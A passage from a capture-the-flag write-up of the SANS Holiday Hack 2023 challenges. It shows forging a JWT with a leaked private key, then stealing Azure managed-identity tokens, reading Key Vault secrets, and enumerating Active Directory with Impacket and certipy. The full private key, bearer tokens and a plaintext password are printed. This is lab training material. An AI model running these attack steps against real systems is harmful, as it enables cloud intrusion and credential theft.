This is likely the role required, but cannot be accessed without the captainโ€™s private key. Looking at the Captain's ChatNPT Initial To-Do List, it states the private key has been moved to a keys folder in the same directory as the roleMonitor token.

Screenshot

Based on this the captains private key can be found at https://captainscomms.com/jwtDefault/keys/TH3CAPSPR1V4T3F0LD3R/capsPrivKey.key when accessed with the radioDecoder Authorization header.

Screenshot

-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCwlm4slUHgR+1Q
5A3UC7BXMnKvUxrjEWjoSwTOuSmudBx2DDPaIwzvogSIfwWWApkbVTRFTg3ey4jb
g0mxvnAnfbshhcC44sEvMg3rmdCEn3AE9HtZ3gSijbAk/abYcrCRblhp2PpPZiDB
kuah3eqfomWE3TcM6TVuI24sPJZqj4w+aDZFzENHY9Gd8Fqu3PDQc8HXILZKnfd4
MaSkhdpzH+UZUcVXETWm1c/5qw4DMrXAR7PIOPJTFlwwyZXRWJvN5dvGxdi9XeSd
JyvZZg6pnmyxrhFqH2xaebQIobrfz+VUP2TBu9w7aUyVR5Onu/A5NcQbJp2kHRay
4gq48fq5AgMBAAECggEATlcmYJQE6i2uvFS4R8q5vC1u0JYzVupJ2sgxRU7DDZiI
adyHAm7LVeJQVYfYoBDeANC/hEGZCK7OM+heQMMGOZbfdoNCmSNL5ha0M0IFTlj3
VtNph9hlwQHP09FN/DeBWruT8L1oauIZhRcZR1VOuexPUm7bddheMlL4lRp59qKj
9k1hUQ3R3qAYST2EnqpEk1NV3TirnhIcAod53aAzcAqg/VruoPhdwmSv/xrfDS9R
DCxOzplHbVQ7sxZSt6URO/El6BrkvVvJEqECMUdON4agNEK5IYAFuIbETFNSu1TP
/dMvnR1fpM0lPOXeUKPNFveGKCc7B4IF2aDQ/CvD+wKBgQDpJjHSbtABNaJqVJ3N
/pMROk+UkTbSW69CgiH03TNJ9RflVMphwNfFJqwcWUwIEsBpe+Wa3xE0ZatecEM9
4PevvXGujmfskst/PuCuDwHnQ5OkRwaGIkujmBaNFmpkF+51v6LNdnt8UPGrkovD
onQIEjmvS1b53eUhDI91eysPKwKBgQDB5RVaS7huAJGJOgMpKzu54N6uljSwoisz
YJRY+5V0h65PucmZHPHe4/+cSUuuhMWOPinr+tbZtwYaiX04CNK1s8u4qqcX2ZRD
YuEv+WNDv2e1XjoWCTxfP71EorywkEyCnZq5kax3cPOqBs4UvSmsR9JiYKdeXfaC
VGiUyJgLqwKBgQDL+VZtO/VOmZXWYOEOb0JLODCXUdQchYn3LdJ3X26XrY2SXXQR
wZ0EJqk8xAL4rS8ZGgPuUmnC5Y/ft2eco00OuzbR+FSDbIoMcP4wSYDoyv5IIrta
bnauUUipdorttuIwsc/E4Xt3b3l/GV6dcWsCBK/i5I7bW34yQ8LejTtGsQKBgAmx
NdwJpPJ6vMurRrUsIBQulXMMtx2NPbOXxFKeYN4uWhxKITWyKLUHmKNrVokmwelW
Wiodo9fGOlvhO40tg7rpfemBPlEG405rBu6q/LdKPhjm2Oh5Fbd9LCzeJah9zhVJ
Y46bJY/i6Ys6Q9rticO+41lfk344HDZvmbq2PEN5AoGBANrYUVhKdTY0OmxLOrBb
kk8qpMhJycpmLFwymvFf0j3dWzwo8cY/+2zCFEtv6t1r7b8bjz/NYrwS0GvEc6Bj
xVa9JIGLTKZt+VRYMP1V+uJEmgSnwUFKrXPrAsyRaMcq0HAvQOMICX4ZvGyzWhut
UdQXV73mNwnYl0RQmBnDOl+i
-----END PRIVATE KEY-----

Adding this private key into the JWT Editor extension of Burp Suite, the JWT can then be modified to grant access to the role of GeeseIslandsSuperChiefCommunicationsOfficer before being resigned to ensure a valid signature.

Screenshot

Screenshot

This grants access to a new Authorization token (in this instance shown below).

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6IkdlZXNlSXNsYW5kc1N1cGVyQ2hpZWZDb21tdW5pY2F0aW9uc09mZmljZXIifQ.N-8MdT6yPFge7zERpm4VdLdVLMyYcY_Wza1TADoGKK5_85Y5ua59z2Ke0TTyQPa14Z7_Su5CpHZMoxThIEHUWqMzZ8MceUmNGzzIsML7iFQElSsLmBMytHcm9-qzL0Bqb5MeqoHZYTxN0vYG7WaGihYDTB7OxkoO_r4uPSQC8swFJjfazecCqIvl4T5i08p5Ur180GxgEaB-o4fpg_OgReD91ThJXPt7wZd9xMoQjSuPqTPiYrP5o-aaQMcNhSkMix_RX1UGrU-2sBlL01FxI7SjxPYu4eQbACvuK6G2wyuvaQIclGB2Qh3P7rAOTpksZSex9RjtKOiLMCafTyfFng

Using this token the transmitter can now be accessed.

Screenshot

Transmitting the correct frequency, go-date, and go-time previously obtained whilst ensuring the go-time is reduced by 4 hours solves the challenge.

  • Frequency: 10426
  • Go Date: 1224
  • Go Time: 1600-400=1200

Screenshot

๐ŸŽ… Active Directory ๐ŸŽ„๐ŸŽ„๐ŸŽ„๐ŸŽ„

๐Ÿ† Objective: Go to Steampunk Island and help Ribb Bonbowford audit the Azure AD environment. Whatโ€™s the name of the secret file in the inaccessible folder on the FileShare?

โ›ต Destination: Steampunk Island (Coggoggle Marina)

โœ”๏ธ Solution: InstructionsForEnteringSatelliteGroundStation.txt

  • โ„๏ธ Sail west on Steampunk Island to reach Coggoggle Marina
  • โ„๏ธ Head east to find and talk to Ribb Bonbowford
  • โ„๏ธ Connect back into the Azure environment using the SSH keys created to authenticate as Alabaster from Certificate SSHenanigans
  • โ„๏ธ Use the Azure REST API to generate an Authorization token for management.azure.com and enumerate available resource API endpoints
  • โ„๏ธ Use the Azure REST API to generate an Authorization token for vault.azure.net and access the secret tmpAddUserScript within northpole-it-kv
  • โ„๏ธ Use GetADUsers.py and retrieved user credentials to enumerate accounts in the domain
  • โ„๏ธ Use certipy and retrieved user credentials to locate a vulnerable certificate template
  • โ„๏ธ Use certipy to generate a certificate with the UPN [email protected] and use it to obtain wombleycubeโ€™s hash
  • โ„๏ธ Use smbclient.py to authenticate as wombleycube and access the super_secret_research share

๐Ÿ’ฌ Ribb Bonbowford Conversation:

Hello, I'm Ribb Bonbowford. Nice to meet you!
Oh golly! It looks like Alabaster deployed some vulnerable Azure Function App Code he got from ChatNPT.
Don't get me wrong, I'm all for testing new technologies. The problem is that Alabaster didn't review the generated code and used the Geese Islands Azure production environment for his testing.
I'm worried because our Active Directory server is hosted there and Wombley Cube's research department uses one of its fileshares to store their sensitive files.
I'd love for you to help with auditing our Azure and Active Directory configuration and ensure there's no way to access the research department's data.
Since you have access to Alabaster's SSH account that means you're already in the Azure environment. Knowing Alabaster, there might even be some useful tools in place already.

๐Ÿ’ก Breakdown:

Sail west on Steampunk Island to reach Coggoggle Marina. Head east to find Ribb Bonbowford.

Screenshot

Talk to him to reveal the challenge takes place after SSHenanigans and involves getting the name of the secret file in the inaccessible folder on a file share. Connect back into the Azure environment as alabaster.

alabaster@ssh-server-vm:~/impacket$ ssh -i /root/Desktop/Kringlecon2023/.ssh/certificate2.pub -i /root/Desktop/Kringlecon2023/.ssh/id_rsa [email protected]

Request an Authorization token from the Azure IMDS.

curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' -H Metadata:true -s|jq

Using the Authorization token with curl and the resources REST API endpoint, enumerate available resources.

alabaster@ssh-server-vm:~/impacket$ curl -s -H Metadata:true -H "Authorization:Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSIsImtpZCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDIwOTc1NTAsIm5iZiI6MTcwMjA5NzU1MCwiZXhwIjoxNzAyMTg0MjUwLCJhaW8iOiJFMlZnWUZoOXltMEhxOFA2YnBHNks0ZEREZXZuQWdBPSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsImlkdHlwIjoiYXBwIiwib2lkIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwicmgiOiIwLkFGRUEybzZqa0FaQTFVMlNUR3lsWEt6QlRVWklmM2tBdXRkUHVrUGF3ZmoyTUJQUUFBQS4iLCJzdWIiOiI2MDBhM2JjOC03ZTJjLTQ0ZTUtOGEyNy0xOGMzZWI5NjMwNjAiLCJ0aWQiOiI5MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQiLCJ1dGkiOiJ2U1kxZHlCLTNrYTFkTWdwM01jbEFBIiwidmVyIjoiMS4wIiwieG1zX2F6X3JpZCI6Ii9zdWJzY3JpcHRpb25zLzJiMDk0MmYzLTliY2EtNDg0Yi1hNTA4LWFiZGFlMmRiNWU2NC9yZXNvdXJjZWdyb3Vwcy9ub3J0aHBvbGUtcmcxL3Byb3ZpZGVycy9NaWNyb3NvZnQuQ29tcHV0ZS92aXJ0dWFsTWFjaGluZXMvc3NoLXNlcnZlci12bSIsInhtc19jYWUiOiIxIiwieG1zX21pcmlkIjoiL3N1YnNjcmlwdGlvbnMvMmIwOTQyZjMtOWJjYS00ODRiLWE1MDgtYWJkYWUyZGI1ZTY0L3Jlc291cmNlZ3JvdXBzL25vcnRocG9sZS1yZzEvcHJvdmlkZXJzL01pY3Jvc29mdC5NYW5hZ2VkSWRlbnRpdHkvdXNlckFzc2lnbmVkSWRlbnRpdGllcy9ub3J0aHBvbGUtc3NoLXNlcnZlci1pZGVudGl0eSIsInhtc190Y2R0IjoxNjk4NDE3NTU3fQ.g8UbmkwRY-LenQHSV5WrUDXoAMBxV7n9mIlYuHgprTOvWI1QLFj3Kvlll2zKEL_khCFJCJGyzu-18fLpzIgR6wtM0yZbeIaI87j_vhB6zxf78ri8DqauQCCTCJEfr-TR5fvkJvGv2AE_639mRrd0cWYgX8TyZK1F6c6Ax5LtmnR1ADuvlDi3oD5LRo_jD2D_KE0dTXwsrl_fsHXJ5bRegIlY3q0nizkEgM00R6_WMtHaApjHFlqYfGTAZHuvEctAH0jWeksL6onOKwVvMaVg5TkhcgCE3qRhy_cFe7R68u8HKqnpvDgKN7g6QAjMTgvJBJSC9OUFfI8MTjKs6WetYg" --noproxy "*" "https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resources?api-version=2023-07-01"| jq
{
  "value": [
    {
      "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv",
      "name": "northpole-it-kv",
      "type": "Microsoft.KeyVault/vaults",
      "location": "eastus",
      "tags": {}
    },
    {
      "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv",
      "name": "northpole-ssh-certs-kv",
      "type": "Microsoft.KeyVault/vaults",
      "location": "eastus",
      "tags": {}
    }
  ]
}

Screenshot

Gather more information on the URI tied to the for northpole-it-kv vault.

alabaster@ssh-server-vm:~/impacket$ curl -s -H Metadata:true -H "Authorization:Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSIsImtpZCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDIwOTc1NTAsIm5iZiI6MTcwMjA5NzU1MCwiZXhwIjoxNzAyMTg0MjUwLCJhaW8iOiJFMlZnWUZoOXltMEhxOFA2YnBHNks0ZEREZXZuQWdBPSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsImlkdHlwIjoiYXBwIiwib2lkIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwicmgiOiIwLkFGRUEybzZqa0FaQTFVMlNUR3lsWEt6QlRVWklmM2tBdXRkUHVrUGF3ZmoyTUJQUUFBQS4iLCJzdWIiOiI2MDBhM2JjOC03ZTJjLTQ0ZTUtOGEyNy0xOGMzZWI5NjMwNjAiLCJ0aWQiOiI5MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQiLCJ1dGkiOiJ2U1kxZHlCLTNrYTFkTWdwM01jbEFBIiwidmVyIjoiMS4wIiwieG1zX2F6X3JpZCI6Ii9zdWJzY3JpcHRpb25zLzJiMDk0MmYzLTliY2EtNDg0Yi1hNTA4LWFiZGFlMmRiNWU2NC9yZXNvdXJjZWdyb3Vwcy9ub3J0aHBvbGUtcmcxL3Byb3ZpZGVycy9NaWNyb3NvZnQuQ29tcHV0ZS92aXJ0dWFsTWFjaGluZXMvc3NoLXNlcnZlci12bSIsInhtc19jYWUiOiIxIiwieG1zX21pcmlkIjoiL3N1YnNjcmlwdGlvbnMvMmIwOTQyZjMtOWJjYS00ODRiLWE1MDgtYWJkYWUyZGI1ZTY0L3Jlc291cmNlZ3JvdXBzL25vcnRocG9sZS1yZzEvcHJvdmlkZXJzL01pY3Jvc29mdC5NYW5hZ2VkSWRlbnRpdHkvdXNlckFzc2lnbmVkSWRlbnRpdGllcy9ub3J0aHBvbGUtc3NoLXNlcnZlci1pZGVudGl0eSIsInhtc190Y2R0IjoxNjk4NDE3NTU3fQ.g8UbmkwRY-LenQHSV5WrUDXoAMBxV7n9mIlYuHgprTOvWI1QLFj3Kvlll2zKEL_khCFJCJGyzu-18fLpzIgR6wtM0yZbeIaI87j_vhB6zxf78ri8DqauQCCTCJEfr-TR5fvkJvGv2AE_639mRrd0cWYgX8TyZK1F6c6Ax5LtmnR1ADuvlDi3oD5LRo_jD2D_KE0dTXwsrl_fsHXJ5bRegIlY3q0nizkEgM00R6_WMtHaApjHFlqYfGTAZHuvEctAH0jWeksL6onOKwVvMaVg5TkhcgCE3qRhy_cFe7R68u8HKqnpvDgKN7g6QAjMTgvJBJSC9OUFfI8MTjKs6WetYg" --noproxy "*" "https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv?api-version=2023-07-01"| jq
{
  "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv",
  "name": "northpole-it-kv",
  "type": "Microsoft.KeyVault/vaults",
  "location": "eastus",
  "tags": {},
  "systemData": {
    "createdBy": "[email protected]",
    "createdByType": "User",
    "createdAt": "2023-10-30T13:17:02.532Z",
    "lastModifiedBy": "[email protected]",
    "lastModifiedByType": "User",
    "lastModifiedAt": "2023-10-30T13:17:02.532Z"
  },
  "properties": {
    "sku": {
      "family": "A",
      "name": "Standard"
    },
    "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
    "accessPolicies": [],
    "enabledForDeployment": false,
    "enabledForDiskEncryption": false,
    "enabledForTemplateDeployment": false,
    "enableSoftDelete": true,
    "softDeleteRetentionInDays": 90,
    "enableRbacAuthorization": true,
    "vaultUri": "https://northpole-it-kv.vault.azure.net/",
    "provisioningState": "Succeeded",
    "publicNetworkAccess": "Enabled"
  }
}

Request a new Authorization token for vault.azure.net.

alabaster@ssh-server-vm:~/impacket$ curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fvault.azure.net' -H Metadata:true -s|jq
{
  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSIsImtpZCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSJ9.eyJhdWQiOiJodHRwczovL3ZhdWx0LmF6dXJlLm5ldCIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDIwOTg0NTQsIm5iZiI6MTcwMjA5ODQ1NCwiZXhwIjoxNzAyMTg1MTU0LCJhaW8iOiJFMlZnWUhqYThTRkc1WSt5RTA5NTRxUVVUNzhBQUE9PSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsIm9pZCI6IjYwMGEzYmM4LTdlMmMtNDRlNS04YTI3LTE4YzNlYjk2MzA2MCIsInJoIjoiMC5BRkVBMm82amtBWkExVTJTVEd5bFhLekJUVG16cU0taWdocEhvOGtQd0w1NlFKUFFBQUEuIiwic3ViIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwidGlkIjoiOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkIiwidXRpIjoiWWVkcG93TkRyRXVqQ0FLNkpFYUlBQSIsInZlciI6IjEuMCIsInhtc19hel9yaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0LkNvbXB1dGUvdmlydHVhbE1hY2hpbmVzL3NzaC1zZXJ2ZXItdm0iLCJ4bXNfbWlyaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0Lk1hbmFnZWRJZGVudGl0eS91c2VyQXNzaWduZWRJZGVudGl0aWVzL25vcnRocG9sZS1zc2gtc2VydmVyLWlkZW50aXR5In0.qeJLnMeeuSEC8dSBiuh_pgILTxIygvRuDIoRsCpaQzGD9oMQ8eGCT1R4DjoGpqhapIjQ3Xb9_T0dp3YcDVujJ880mXGSKtdsl_PF5D7Z-ZmWlNGP70DCUFwpjY-KktVHm6L4x6jUBOx1gz8QyFvqTdx9IGPXIWr7ro4_Bn2LQF2rreMrY5L2lTS-RIIJWf0z0OAjP6zqKGwbbeTNB2p9dDrfaE9vSaVStt2-pzvB6onmlilVl1USTQ6iaDWqvutrP8pdRQs4h3FGr_jQ-sV58_hIhgvanXQ9FTnOdAEHQRHabHjPnlqKi_658iKHmdtgV9X0zCjg0dr8pOzMEnzDrw",
  "client_id": "b84e06d3-aba1-4bcc-9626-2e0d76cba2ce",
  "expires_in": "84498",
  "expires_on": "1702185154",
  "ext_expires_in": "86399",
  "not_before": "1702098454",
  "resource": "https://vault.azure.net",
  "token_type": "Bearer"
}

Using the secrets REST API endpoint, enumerate the tmpAddUserScript secret.

alabaster@ssh-server-vm:~/impacket$ curl -s -H Metadata:true -H "Authorization:Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSIsImtpZCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSJ9.eyJhdWQiOiJodHRwczovL3ZhdWx0LmF6dXJlLm5ldCIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDIwOTg0NTQsIm5iZiI6MTcwMjA5ODQ1NCwiZXhwIjoxNzAyMTg1MTU0LCJhaW8iOiJFMlZnWUhqYThTRkc1WSt5RTA5NTRxUVVUNzhBQUE9PSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsIm9pZCI6IjYwMGEzYmM4LTdlMmMtNDRlNS04YTI3LTE4YzNlYjk2MzA2MCIsInJoIjoiMC5BRkVBMm82amtBWkExVTJTVEd5bFhLekJUVG16cU0taWdocEhvOGtQd0w1NlFKUFFBQUEuIiwic3ViIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwidGlkIjoiOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkIiwidXRpIjoiWWVkcG93TkRyRXVqQ0FLNkpFYUlBQSIsInZlciI6IjEuMCIsInhtc19hel9yaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0LkNvbXB1dGUvdmlydHVhbE1hY2hpbmVzL3NzaC1zZXJ2ZXItdm0iLCJ4bXNfbWlyaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0Lk1hbmFnZWRJZGVudGl0eS91c2VyQXNzaWduZWRJZGVudGl0aWVzL25vcnRocG9sZS1zc2gtc2VydmVyLWlkZW50aXR5In0.qeJLnMeeuSEC8dSBiuh_pgILTxIygvRuDIoRsCpaQzGD9oMQ8eGCT1R4DjoGpqhapIjQ3Xb9_T0dp3YcDVujJ880mXGSKtdsl_PF5D7Z-ZmWlNGP70DCUFwpjY-KktVHm6L4x6jUBOx1gz8QyFvqTdx9IGPXIWr7ro4_Bn2LQF2rreMrY5L2lTS-RIIJWf0z0OAjP6zqKGwbbeTNB2p9dDrfaE9vSaVStt2-pzvB6onmlilVl1USTQ6iaDWqvutrP8pdRQs4h3FGr_jQ-sV58_hIhgvanXQ9FTnOdAEHQRHabHjPnlqKi_658iKHmdtgV9X0zCjg0dr8pOzMEnzDrw" "https://northpole-it-kv.vault.azure.net/secrets?api-version=7.4"|jq .
{
  "value": [
    {
      "id": "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript",
      "attributes": {
        "enabled": true,
        "created": 1699564823,
        "updated": 1699564823,
        "recoveryLevel": "Recoverable+Purgeable",
        "recoverableDays": 90
      },
      "tags": {}
    }
  ],
  "nextLink": null
}

View the tmpAddUserScript secret to reveal user credentials.

alabaster@ssh-server-vm:~/impacket$ curl -s -H Metadata:true -H "Authorization:Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSIsImtpZCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSJ9.eyJhdWQiOiJodHRwczovL3ZhdWx0LmF6dXJlLm5ldCIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDIwOTg0NTQsIm5iZiI6MTcwMjA5ODQ1NCwiZXhwIjoxNzAyMTg1MTU0LCJhaW8iOiJFMlZnWUhqYThTRkc1WSt5RTA5NTRxUVVUNzhBQUE9PSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsIm9pZCI6IjYwMGEzYmM4LTdlMmMtNDRlNS04YTI3LTE4YzNlYjk2MzA2MCIsInJoIjoiMC5BRkVBMm82amtBWkExVTJTVEd5bFhLekJUVG16cU0taWdocEhvOGtQd0w1NlFKUFFBQUEuIiwic3ViIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwidGlkIjoiOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkIiwidXRpIjoiWWVkcG93TkRyRXVqQ0FLNkpFYUlBQSIsInZlciI6IjEuMCIsInhtc19hel9yaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0LkNvbXB1dGUvdmlydHVhbE1hY2hpbmVzL3NzaC1zZXJ2ZXItdm0iLCJ4bXNfbWlyaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0Lk1hbmFnZWRJZGVudGl0eS91c2VyQXNzaWduZWRJZGVudGl0aWVzL25vcnRocG9sZS1zc2gtc2VydmVyLWlkZW50aXR5In0.qeJLnMeeuSEC8dSBiuh_pgILTxIygvRuDIoRsCpaQzGD9oMQ8eGCT1R4DjoGpqhapIjQ3Xb9_T0dp3YcDVujJ880mXGSKtdsl_PF5D7Z-ZmWlNGP70DCUFwpjY-KktVHm6L4x6jUBOx1gz8QyFvqTdx9IGPXIWr7ro4_Bn2LQF2rreMrY5L2lTS-RIIJWf0z0OAjP6zqKGwbbeTNB2p9dDrfaE9vSaVStt2-pzvB6onmlilVl1USTQ6iaDWqvutrP8pdRQs4h3FGr_jQ-sV58_hIhgvanXQ9FTnOdAEHQRHabHjPnlqKi_658iKHmdtgV9X0zCjg0dr8pOzMEnzDrw" "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript?api-version=7.4"|jq .
{
  "value": "Import-Module ActiveDirectory; $UserName = \"elfy\"; $UserDomain = \"northpole.local\"; $UserUPN = \"$UserName@$UserDomain\"; $Password = ConvertTo-SecureString \"J4`ufC49/J4766\" -AsPlainText -Force; $DCIP = \"10.0.0.53\"; New-ADUser -UserPrincipalName $UserUPN -Name $UserName -GivenName $UserName -Surname \"\" -Enabled $true -AccountPassword $Password -Server $DCIP -PassThru",
  "id": "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript/ec4db66008024699b19df44f5272248d",
  "attributes": {
    "enabled": true,
    "created": 1699564823,
    "updated": 1699564823,
    "recoveryLevel": "Recoverable+Purgeable",
    "recoverableDays": 90
  },
  "tags": {}
}

Using the credentials and Impacketโ€™s GetADUsers.py script, authenticate to the domain controller (DC) and enumerate users in the domain.

alabaster@ssh-server-vm:~/impacket$ GetADUsers.py -all northpole.local/elfy:J4\`ufC49/J4766 -dc-ip 10.0.0.53         
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Querying 10.0.0.53 for information about domain.
Name                  Email                           PasswordLastSet      LastLogon           
--------------------  ------------------------------  -------------------  -------------------
alabaster                                             2023-12-10 01:03:20.201036  2023-12-10 17:47:02.203449 
Guest                                                 <never>              <never>             
krbtgt                                                2023-12-10 01:10:48.599596  <never>             
elfy                                                  2023-12-10 01:12:50.495758  2023-12-10 20:05:38.730639 
wombleycube                                           2023-12-10 01:12:50.605198  2023-12-10 23:44:14.499038 

Given wombleycube is the only other domain user outside of default accounts, target this user. Using certipy look for any vulnerable certificate templates which could be abused.

alabaster@ssh-server-vm:~/impacket$ certipy find -vulnerable -u elfy -p J4\`ufC49/J4766 -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'northpole-npdc01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
